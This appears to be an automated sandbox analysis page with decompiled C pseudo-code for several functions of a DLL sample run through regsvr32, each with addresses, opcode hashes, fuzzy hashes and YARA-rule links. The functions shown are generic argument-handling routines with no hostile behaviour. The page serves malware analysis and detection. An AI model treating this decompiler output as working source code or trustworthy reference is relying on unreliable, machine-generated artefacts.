                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180032008 Relevance: .1, Instructions: 71COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 49%
                                                                                                        			E00000001180032008(void* __eax, long long __rbx, long long __rcx, long long* __rdx, long long _a8) {
				signed long long _v16;
				long long _v24;
				long long _t42;
				intOrPtr _t55;
				signed long long _t56;
				intOrPtr _t59;
				signed long long _t60;
				long long _t63;
				long long _t66;
				intOrPtr* _t67;
				long long* _t70;
				long long _t71;
				void* _t72;
				void* _t73;
				char* _t78;
				void* _t79;

				_a8 = __rbx;
				_t63 = __rcx;
				if ( *((intOrPtr*)(__rcx + 0x474)) != 1) goto 0x80032036;
				_t78 =  *((intOrPtr*)(__rcx + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t78 + 8;
				_t66 =  *_t78;
				 *__rdx = _t66;
				goto 0x80032106;
				if (__eax - 0x63 <= 0) goto 0x80032077;
				_t55 =  *((intOrPtr*)(_t66 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t55 + 0x30)) = 1;
				 *((intOrPtr*)(_t55 + 0x2c)) = 0x16;
				_t56 =  *((intOrPtr*)(_t66 + 8));
				_v16 = _t56;
				_v24 = _t71;
				E00000001180025880(_t56, __rcx, _t66, __rdx, _t72, _t73, _t78 + 8);
				goto 0x80032108;
				if ( *((intOrPtr*)(_t66 + 0x470)) != 1) goto 0x800320f7;
				_t42 =  *((intOrPtr*)(_t66 + 0x34));
				r9d =  *(_t63 + 0x3a) & 0x0000ffff;
				_t70 = _t63 + (_t56 + _t56 * 2 + 0x90) * 8;
				if ( *_t70 != 0) goto 0x800320b3;
				 *_t70 = 1;
				 *((intOrPtr*)(_t70 + 4)) = r9w;
				 *((intOrPtr*)(_t70 + 0x10)) = _t42;
				dil = 1;
				goto 0x80032108;
				_v24 = _t42;
				r8d = 1;
				_t67 = _t63;
				if (E000000011800402CC(_t63, _t67, _t70, _t72, _t79) != 0) goto 0x800320ab;
				_t59 =  *((intOrPtr*)(_t63 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t59 + 0x30)) = 1;
				 *((intOrPtr*)(_t59 + 0x2c)) = 0x16;
				_t60 =  *((intOrPtr*)(_t63 + 8));
				_v16 = _t60;
				_v24 = _t71;
				E00000001180025880(_t60, _t63, _t67, _t70, _t72, _t73, _t78 + 8);
				goto 0x800320ae;
				 *_t70 =  *((char*)( *((intOrPtr*)(_t67 + 0x488 + _t60 * 8))));
				return 1;
			}



















                                                                                                        0x180032008
                                                                                                        0x180032019
                                                                                                        0x18003201c
                                                                                                        0x18003201e
                                                                                                        0x180032026
                                                                                                        0x18003202a
                                                                                                        0x18003202e
                                                                                                        0x180032031
                                                                                                        0x180032040
                                                                                                        0x180032042
                                                                                                        0x180032048
                                                                                                        0x18003204b
                                                                                                        0x180032050
                                                                                                        0x180032054
                                                                                                        0x18003205b
                                                                                                        0x180032061
                                                                                                        0x180032066
                                                                                                        0x18003206b
                                                                                                        0x180032072
                                                                                                        0x180032082
                                                                                                        0x180032084
                                                                                                        0x18003208e
                                                                                                        0x180032093
                                                                                                        0x18003209b
                                                                                                        0x18003209d
                                                                                                        0x1800320a3
                                                                                                        0x1800320a8
                                                                                                        0x1800320ab
                                                                                                        0x1800320b1
                                                                                                        0x1800320b3
                                                                                                        0x1800320b7
                                                                                                        0x1800320bd
                                                                                                        0x1800320c7
                                                                                                        0x1800320c9
                                                                                                        0x1800320cd
                                                                                                        0x1800320d0
                                                                                                        0x1800320d7
                                                                                                        0x1800320db
                                                                                                        0x1800320e2
                                                                                                        0x1800320e6
                                                                                                        0x1800320eb
                                                                                                        0x1800320f0
                                                                                                        0x1800320f5
                                                                                                        0x180032103
                                                                                                        0x180032112

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: a62b5442345c3f3edd665eaad3044495b43ed961368f0d5e5e553fe55fb9fc5e
                                                                                                        • Instruction ID: 4db8b619455a254faced2e0c61e6580bed023351a115c58c415752090f177a5a
                                                                                                        • Opcode Fuzzy Hash: a62b5442345c3f3edd665eaad3044495b43ed961368f0d5e5e553fe55fb9fc5e
                                                                                                        • Instruction Fuzzy Hash: E3318772214B84C6DB668F29E1407AD77A0F39DB8CF658115DB8C07751DF76C196C704
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180035048 Relevance: .1, Instructions: 71COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 49%
                                                                                                        			E00000001180035048(void* __eax, long long __rbx, long long __rcx, long long* __rdx, long long _a8) {
				signed long long _v16;
				long long _v24;
				long long _t42;
				intOrPtr _t55;
				signed long long _t56;
				intOrPtr _t59;
				signed long long _t60;
				long long _t63;
				intOrPtr* _t66;
				long long _t67;
				intOrPtr* _t68;
				long long* _t71;
				long long _t72;
				void* _t73;
				void* _t74;
				void* _t79;

				_a8 = __rbx;
				_t63 = __rcx;
				if ( *((intOrPtr*)(__rcx + 0x474)) != 1) goto 0x80035075;
				_t66 =  *((intOrPtr*)(__rcx + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t66 + 8;
				_t67 =  *_t66;
				 *__rdx = _t67;
				goto 0x80035144;
				if (__eax - 0x63 <= 0) goto 0x800350b6;
				_t55 =  *((intOrPtr*)(_t67 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t55 + 0x30)) = 1;
				 *((intOrPtr*)(_t55 + 0x2c)) = 0x16;
				_t56 =  *((intOrPtr*)(_t67 + 8));
				_v16 = _t56;
				_v24 = _t72;
				E00000001180025880(_t56, __rcx, _t67, __rdx, _t73, _t74, _t66 + 8);
				goto 0x80035146;
				if ( *((intOrPtr*)(_t67 + 0x470)) != 1) goto 0x80035136;
				_t42 =  *((intOrPtr*)(_t67 + 0x34));
				r9d =  *(_t63 + 0x3a) & 0x0000ffff;
				_t71 = _t63 + (_t56 + _t56 * 2 + 0x90) * 8;
				if ( *_t71 != 0) goto 0x800350f2;
				 *_t71 = 2;
				 *((intOrPtr*)(_t71 + 4)) = r9w;
				 *((intOrPtr*)(_t71 + 0x10)) = _t42;
				dil = 1;
				goto 0x80035146;
				_v24 = _t42;
				r8d = 2;
				_t68 = _t63;
				if (E000000011800402CC(_t63, _t68, _t71, _t73, _t79) != 0) goto 0x800350ea;
				_t59 =  *((intOrPtr*)(_t63 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t59 + 0x30)) = 1;
				 *((intOrPtr*)(_t59 + 0x2c)) = 0x16;
				_t60 =  *((intOrPtr*)(_t63 + 8));
				_v16 = _t60;
				_v24 = _t72;
				E00000001180025880(_t60, _t63, _t68, _t71, _t73, _t74, _t66 + 8);
				goto 0x800350ed;
				 *_t71 =  *((intOrPtr*)( *((intOrPtr*)(_t68 + 0x488 + _t60 * 8))));
				return 1;
			}



















                                                                                                        0x180035048
                                                                                                        0x180035059
                                                                                                        0x18003505c
                                                                                                        0x18003505e
                                                                                                        0x180035066
                                                                                                        0x18003506a
                                                                                                        0x18003506d
                                                                                                        0x180035070
                                                                                                        0x18003507f
                                                                                                        0x180035081
                                                                                                        0x180035087
                                                                                                        0x18003508a
                                                                                                        0x18003508f
                                                                                                        0x180035093
                                                                                                        0x18003509a
                                                                                                        0x1800350a0
                                                                                                        0x1800350a5
                                                                                                        0x1800350aa
                                                                                                        0x1800350b1
                                                                                                        0x1800350c1
                                                                                                        0x1800350c3
                                                                                                        0x1800350cd
                                                                                                        0x1800350d2
                                                                                                        0x1800350da
                                                                                                        0x1800350dc
                                                                                                        0x1800350e2
                                                                                                        0x1800350e7
                                                                                                        0x1800350ea
                                                                                                        0x1800350f0
                                                                                                        0x1800350f2
                                                                                                        0x1800350f6
                                                                                                        0x1800350fc
                                                                                                        0x180035106
                                                                                                        0x180035108
                                                                                                        0x18003510c
                                                                                                        0x18003510f
                                                                                                        0x180035116
                                                                                                        0x18003511a
                                                                                                        0x180035121
                                                                                                        0x180035125
                                                                                                        0x18003512a
                                                                                                        0x18003512f
                                                                                                        0x180035134
                                                                                                        0x180035141
                                                                                                        0x180035150

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 4090c9df854493412a0d738e3d027c660e00255aabf42518e0565aeb32f47fe8
                                                                                                        • Instruction ID: d5309e30bd1f286bac6027034d4ea0c24b8033792eac8b71cee4d07e96b3d971
                                                                                                        • Opcode Fuzzy Hash: 4090c9df854493412a0d738e3d027c660e00255aabf42518e0565aeb32f47fe8
                                                                                                        • Instruction Fuzzy Hash: 34318272215B48C6EBA68F29E4813AE77A0F38CB8CF658125DB8C4B761DF36C156C744
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 00000001800330E4 Relevance: .1, Instructions: 71COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 49%
                                                                                                        			E000000011800330E4(void* __eax, long long __rbx, long long __rcx, long long* __rdx, long long _a8) {
				signed long long _v16;
				signed long long _v24;
				signed long long _t44;
				intOrPtr _t57;
				signed long long _t58;
				intOrPtr _t61;
				signed long long _t62;
				void* _t64;
				long long _t66;
				signed long long* _t70;
				signed long long _t71;
				void* _t72;
				void* _t73;
				void* _t79;

				_t66 = __rcx;
				_a8 = __rbx;
				_t64 = __rcx;
				if ( *((intOrPtr*)(__rcx + 0x474)) != 1) goto 0x80033112;
				 *((long long*)(__rcx + 0x18)) =  *((intOrPtr*)(__rcx + 0x18)) + 8;
				 *__rdx = __rcx;
				goto 0x800331e1;
				if (__eax - 0x63 <= 0) goto 0x80033153;
				_t57 =  *((intOrPtr*)(__rcx + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t57 + 0x30)) = 1;
				 *((intOrPtr*)(_t57 + 0x2c)) = 0x16;
				_t58 =  *((intOrPtr*)(__rcx + 8));
				_v16 = _t58;
				_v24 = _t71;
				E00000001180025880(_t58, __rcx, __rcx, __rdx, _t72, _t73,  *((intOrPtr*)(__rcx + 0x18)) + 8);
				goto 0x800331e3;
				if ( *((intOrPtr*)(_t66 + 0x470)) != 1) goto 0x800331d3;
				_t44 =  *(_t66 + 0x34);
				r9d =  *(_t64 + 0x3a) & 0x0000ffff;
				_t70 = _t64 + (_t58 + _t58 * 2 + 0x90) * 8;
				if ( *_t70 != 0) goto 0x8003318f;
				 *_t70 = 1;
				_t70[0] = r9w;
				_t70[2] = _t44;
				dil = 1;
				goto 0x800331e3;
				_v24 = _t44;
				r8d = 1;
				if (E000000011800404D0(_t64, _t64, _t70, _t72, _t79) != 0) goto 0x80033187;
				_t61 =  *((intOrPtr*)(_t64 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t61 + 0x30)) = 1;
				 *((intOrPtr*)(_t61 + 0x2c)) = 0x16;
				_t62 =  *((intOrPtr*)(_t64 + 8));
				_v16 = _t62;
				_v24 = _t71;
				E00000001180025880(_t62, _t64, _t64, _t70, _t72, _t73,  *((intOrPtr*)(__rcx + 0x18)) + 8);
				goto 0x8003318a;
				 *_t70 = _t62;
				return 1;
			}

















                                                                                                        0x1800330e4
                                                                                                        0x1800330e4
                                                                                                        0x1800330f5
                                                                                                        0x1800330f8
                                                                                                        0x180033102
                                                                                                        0x18003310a
                                                                                                        0x18003310d
                                                                                                        0x18003311c
                                                                                                        0x18003311e
                                                                                                        0x180033124
                                                                                                        0x180033127
                                                                                                        0x18003312c
                                                                                                        0x180033130
                                                                                                        0x180033137
                                                                                                        0x18003313d
                                                                                                        0x180033142
                                                                                                        0x180033147
                                                                                                        0x18003314e
                                                                                                        0x18003315e
                                                                                                        0x180033160
                                                                                                        0x18003316a
                                                                                                        0x18003316f
                                                                                                        0x180033177
                                                                                                        0x180033179
                                                                                                        0x18003317f
                                                                                                        0x180033184
                                                                                                        0x180033187
                                                                                                        0x18003318d
                                                                                                        0x18003318f
                                                                                                        0x180033193
                                                                                                        0x1800331a3
                                                                                                        0x1800331a5
                                                                                                        0x1800331a9
                                                                                                        0x1800331ac
                                                                                                        0x1800331b3
                                                                                                        0x1800331b7
                                                                                                        0x1800331be
                                                                                                        0x1800331c2
                                                                                                        0x1800331c7
                                                                                                        0x1800331cc
                                                                                                        0x1800331d1
                                                                                                        0x1800331de
                                                                                                        0x1800331ed

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: ad79966c1d87b3e80495b2e77f9b9dd9cce72878bf419cbd8e17a268b6953dc8
                                                                                                        • Instruction ID: 2b19b984ff308f582759af3ae66f980e229f4d030919ce47b7344a565a71e71f
                                                                                                        • Opcode Fuzzy Hash: ad79966c1d87b3e80495b2e77f9b9dd9cce72878bf419cbd8e17a268b6953dc8
                                                                                                        • Instruction Fuzzy Hash: EF31A472604648C6DBA68F29E4813ED77A0F38CB8CF258129EB8D0B751DF36C196C704
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180032114 Relevance: .1, Instructions: 71COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 49%
                                                                                                        			E00000001180032114(void* __eax, long long __rbx, long long __rcx, long long* __rdx, long long _a8) {
				signed long long _v16;
				long long _v24;
				long long _t42;
				intOrPtr _t55;
				signed long long _t56;
				intOrPtr _t59;
				signed long long _t60;
				long long _t63;
				long long _t66;
				intOrPtr* _t67;
				long long* _t70;
				long long _t71;
				void* _t72;
				void* _t73;
				char* _t78;
				void* _t79;

				_a8 = __rbx;
				_t63 = __rcx;
				if ( *((intOrPtr*)(__rcx + 0x474)) != 1) goto 0x80032142;
				_t78 =  *((intOrPtr*)(__rcx + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t78 + 8;
				_t66 =  *_t78;
				 *__rdx = _t66;
				goto 0x80032212;
				if (__eax - 0x63 <= 0) goto 0x80032183;
				_t55 =  *((intOrPtr*)(_t66 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t55 + 0x30)) = 1;
				 *((intOrPtr*)(_t55 + 0x2c)) = 0x16;
				_t56 =  *((intOrPtr*)(_t66 + 8));
				_v16 = _t56;
				_v24 = _t71;
				E00000001180025880(_t56, __rcx, _t66, __rdx, _t72, _t73, _t78 + 8);
				goto 0x80032214;
				if ( *((intOrPtr*)(_t66 + 0x470)) != 1) goto 0x80032203;
				_t42 =  *((intOrPtr*)(_t66 + 0x34));
				r9d =  *(_t63 + 0x3a) & 0x0000ffff;
				_t70 = _t63 + (_t56 + _t56 * 2 + 0x90) * 8;
				if ( *_t70 != 0) goto 0x800321bf;
				 *_t70 = 1;
				 *((intOrPtr*)(_t70 + 4)) = r9w;
				 *((intOrPtr*)(_t70 + 0x10)) = _t42;
				dil = 1;
				goto 0x80032214;
				_v24 = _t42;
				r8d = 1;
				_t67 = _t63;
				if (E000000011800404D0(_t63, _t67, _t70, _t72, _t79) != 0) goto 0x800321b7;
				_t59 =  *((intOrPtr*)(_t63 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t59 + 0x30)) = 1;
				 *((intOrPtr*)(_t59 + 0x2c)) = 0x16;
				_t60 =  *((intOrPtr*)(_t63 + 8));
				_v16 = _t60;
				_v24 = _t71;
				E00000001180025880(_t60, _t63, _t67, _t70, _t72, _t73, _t78 + 8);
				goto 0x800321ba;
				 *_t70 =  *((char*)( *((intOrPtr*)(_t67 + 0x488 + _t60 * 8))));
				return 1;
			}



















                                                                                                        0x180032114
                                                                                                        0x180032125
                                                                                                        0x180032128
                                                                                                        0x18003212a
                                                                                                        0x180032132
                                                                                                        0x180032136
                                                                                                        0x18003213a
                                                                                                        0x18003213d
                                                                                                        0x18003214c
                                                                                                        0x18003214e
                                                                                                        0x180032154
                                                                                                        0x180032157
                                                                                                        0x18003215c
                                                                                                        0x180032160
                                                                                                        0x180032167
                                                                                                        0x18003216d
                                                                                                        0x180032172
                                                                                                        0x180032177
                                                                                                        0x18003217e
                                                                                                        0x18003218e
                                                                                                        0x180032190
                                                                                                        0x18003219a
                                                                                                        0x18003219f
                                                                                                        0x1800321a7
                                                                                                        0x1800321a9
                                                                                                        0x1800321af
                                                                                                        0x1800321b4
                                                                                                        0x1800321b7
                                                                                                        0x1800321bd
                                                                                                        0x1800321bf
                                                                                                        0x1800321c3
                                                                                                        0x1800321c9
                                                                                                        0x1800321d3
                                                                                                        0x1800321d5
                                                                                                        0x1800321d9
                                                                                                        0x1800321dc
                                                                                                        0x1800321e3
                                                                                                        0x1800321e7
                                                                                                        0x1800321ee
                                                                                                        0x1800321f2
                                                                                                        0x1800321f7
                                                                                                        0x1800321fc
                                                                                                        0x180032201
                                                                                                        0x18003220f
                                                                                                        0x18003221e

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 9acdb05480588ab7b99c7ed53f41868cf20c509c0458815c77c1b0a0ae016f51
                                                                                                        • Instruction ID: abdfd66e1020793a94a04d2a46e6518494cb4e0d147ffc20579d53ccf4330483
                                                                                                        • Opcode Fuzzy Hash: 9acdb05480588ab7b99c7ed53f41868cf20c509c0458815c77c1b0a0ae016f51
                                                                                                        • Instruction Fuzzy Hash: E2317372204A88C5DB668F29E5407AE77A1F399B8CF658115EB8C0B751DF36C156C704
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180034148 Relevance: .1, Instructions: 71COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 52%
                                                                                                        			E00000001180034148(void* __eax, long long __rbx, long long __rcx, long long* __rdx, long long _a8) {
				signed long long _v16;
				long long _v24;
				void* __rdi;
				signed int _t41;
				long long _t43;
				intOrPtr _t56;
				signed long long _t57;
				intOrPtr _t60;
				signed long long _t61;
				long long _t64;
				intOrPtr* _t67;
				long long _t68;
				long long _t69;
				long long* _t72;
				long long _t73;
				void* _t74;
				void* _t75;
				void* _t80;
				void* _t81;

				_a8 = __rbx;
				_t64 = __rcx;
				if ( *((intOrPtr*)(__rcx + 0x474)) != 1) goto 0x80034175;
				_t67 =  *((intOrPtr*)(__rcx + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t67 + 8;
				_t68 =  *_t67;
				 *__rdx = _t68;
				goto 0x80034242;
				if (__eax - 0x63 <= 0) goto 0x800341b6;
				_t56 =  *((intOrPtr*)(_t68 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t56 + 0x30)) = 1;
				 *((intOrPtr*)(_t56 + 0x2c)) = 0x16;
				_t57 =  *((intOrPtr*)(_t68 + 8));
				_v16 = _t57;
				_v24 = _t73;
				E00000001180025880(_t57, __rcx, _t68, __rdx, _t74, _t75, _t67 + 8);
				goto 0x80034244;
				if ( *((intOrPtr*)(_t68 + 0x470)) != 1) goto 0x80034234;
				_t43 =  *((intOrPtr*)(_t68 + 0x34));
				r9b =  *((intOrPtr*)(_t64 + 0x39));
				_t72 = _t64 + (_t57 + _t57 * 2 + 0x90) * 8;
				if ( *_t72 != 0) goto 0x800341f0;
				 *_t72 = 3;
				 *((intOrPtr*)(_t72 + 4)) = r9b;
				 *((intOrPtr*)(_t72 + 0x10)) = _t43;
				dil = 1;
				goto 0x80034244;
				_v24 = _t43;
				r8d = 3;
				_t69 = _t64;
				if (E00000001180040098(_t41, _t64, _t69, _t72, _t73, _t80, _t81) != 0) goto 0x800341e8;
				_t60 =  *((intOrPtr*)(_t64 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t60 + 0x30)) = 1;
				 *((intOrPtr*)(_t60 + 0x2c)) = 0x16;
				_t61 =  *((intOrPtr*)(_t64 + 8));
				_v16 = _t61;
				_v24 = _t73;
				E00000001180025880(_t61, _t64, _t69, _t72, _t74, _t75, _t67 + 8);
				goto 0x800341eb;
				 *_t72 =  *((intOrPtr*)( *((intOrPtr*)(_t69 + 0x488 + _t61 * 8))));
				return 1;
			}






















                                                                                                        0x180034148
                                                                                                        0x180034159
                                                                                                        0x18003415c
                                                                                                        0x18003415e
                                                                                                        0x180034166
                                                                                                        0x18003416a
                                                                                                        0x18003416d
                                                                                                        0x180034170
                                                                                                        0x18003417f
                                                                                                        0x180034181
                                                                                                        0x180034187
                                                                                                        0x18003418a
                                                                                                        0x18003418f
                                                                                                        0x180034193
                                                                                                        0x18003419a
                                                                                                        0x1800341a0
                                                                                                        0x1800341a5
                                                                                                        0x1800341aa
                                                                                                        0x1800341b1
                                                                                                        0x1800341c1
                                                                                                        0x1800341c3
                                                                                                        0x1800341cd
                                                                                                        0x1800341d1
                                                                                                        0x1800341d9
                                                                                                        0x1800341db
                                                                                                        0x1800341e1
                                                                                                        0x1800341e5
                                                                                                        0x1800341e8
                                                                                                        0x1800341ee
                                                                                                        0x1800341f0
                                                                                                        0x1800341f4
                                                                                                        0x1800341fa
                                                                                                        0x180034204
                                                                                                        0x180034206
                                                                                                        0x18003420a
                                                                                                        0x18003420d
                                                                                                        0x180034214
                                                                                                        0x180034218
                                                                                                        0x18003421f
                                                                                                        0x180034223
                                                                                                        0x180034228
                                                                                                        0x18003422d
                                                                                                        0x180034232
                                                                                                        0x18003423f
                                                                                                        0x18003424e

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 4196c06e7bd5c2ff2910d863bf0b3c755ca0738167a7e6b61f55fd557213f2a8
                                                                                                        • Instruction ID: 044f4797e5f509393ee8dab8779bb51a154750680aed0692e24730137a6ebe6e
                                                                                                        • Opcode Fuzzy Hash: 4196c06e7bd5c2ff2910d863bf0b3c755ca0738167a7e6b61f55fd557213f2a8
                                                                                                        • Instruction Fuzzy Hash: AF317073205B8885DB668F29D4403AE77A0F39DB88F658115EB8C4F751CF36C196CB04
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180035154 Relevance: .1, Instructions: 71COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 49%
                                                                                                        			E00000001180035154(void* __eax, long long __rbx, long long __rcx, long long* __rdx, long long _a8) {
				signed long long _v16;
				long long _v24;
				long long _t42;
				intOrPtr _t55;
				signed long long _t56;
				intOrPtr _t59;
				signed long long _t60;
				long long _t63;
				intOrPtr* _t66;
				long long _t67;
				intOrPtr* _t68;
				long long* _t71;
				long long _t72;
				void* _t73;
				void* _t74;
				void* _t79;

				_a8 = __rbx;
				_t63 = __rcx;
				if ( *((intOrPtr*)(__rcx + 0x474)) != 1) goto 0x80035181;
				_t66 =  *((intOrPtr*)(__rcx + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t66 + 8;
				_t67 =  *_t66;
				 *__rdx = _t67;
				goto 0x80035250;
				if (__eax - 0x63 <= 0) goto 0x800351c2;
				_t55 =  *((intOrPtr*)(_t67 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t55 + 0x30)) = 1;
				 *((intOrPtr*)(_t55 + 0x2c)) = 0x16;
				_t56 =  *((intOrPtr*)(_t67 + 8));
				_v16 = _t56;
				_v24 = _t72;
				E00000001180025880(_t56, __rcx, _t67, __rdx, _t73, _t74, _t66 + 8);
				goto 0x80035252;
				if ( *((intOrPtr*)(_t67 + 0x470)) != 1) goto 0x80035242;
				_t42 =  *((intOrPtr*)(_t67 + 0x34));
				r9d =  *(_t63 + 0x3a) & 0x0000ffff;
				_t71 = _t63 + (_t56 + _t56 * 2 + 0x90) * 8;
				if ( *_t71 != 0) goto 0x800351fe;
				 *_t71 = 2;
				 *((intOrPtr*)(_t71 + 4)) = r9w;
				 *((intOrPtr*)(_t71 + 0x10)) = _t42;
				dil = 1;
				goto 0x80035252;
				_v24 = _t42;
				r8d = 2;
				_t68 = _t63;
				if (E000000011800404D0(_t63, _t68, _t71, _t73, _t79) != 0) goto 0x800351f6;
				_t59 =  *((intOrPtr*)(_t63 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t59 + 0x30)) = 1;
				 *((intOrPtr*)(_t59 + 0x2c)) = 0x16;
				_t60 =  *((intOrPtr*)(_t63 + 8));
				_v16 = _t60;
				_v24 = _t72;
				E00000001180025880(_t60, _t63, _t68, _t71, _t73, _t74, _t66 + 8);
				goto 0x800351f9;
				 *_t71 =  *((intOrPtr*)( *((intOrPtr*)(_t68 + 0x488 + _t60 * 8))));
				return 1;
			}



















                                                                                                        0x180035154
                                                                                                        0x180035165
                                                                                                        0x180035168
                                                                                                        0x18003516a
                                                                                                        0x180035172
                                                                                                        0x180035176
                                                                                                        0x180035179
                                                                                                        0x18003517c
                                                                                                        0x18003518b
                                                                                                        0x18003518d
                                                                                                        0x180035193
                                                                                                        0x180035196
                                                                                                        0x18003519b
                                                                                                        0x18003519f
                                                                                                        0x1800351a6
                                                                                                        0x1800351ac
                                                                                                        0x1800351b1
                                                                                                        0x1800351b6
                                                                                                        0x1800351bd
                                                                                                        0x1800351cd
                                                                                                        0x1800351cf
                                                                                                        0x1800351d9
                                                                                                        0x1800351de
                                                                                                        0x1800351e6
                                                                                                        0x1800351e8
                                                                                                        0x1800351ee
                                                                                                        0x1800351f3
                                                                                                        0x1800351f6
                                                                                                        0x1800351fc
                                                                                                        0x1800351fe
                                                                                                        0x180035202
                                                                                                        0x180035208
                                                                                                        0x180035212
                                                                                                        0x180035214
                                                                                                        0x180035218
                                                                                                        0x18003521b
                                                                                                        0x180035222
                                                                                                        0x180035226
                                                                                                        0x18003522d
                                                                                                        0x180035231
                                                                                                        0x180035236
                                                                                                        0x18003523b
                                                                                                        0x180035240
                                                                                                        0x18003524d
                                                                                                        0x18003525c

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
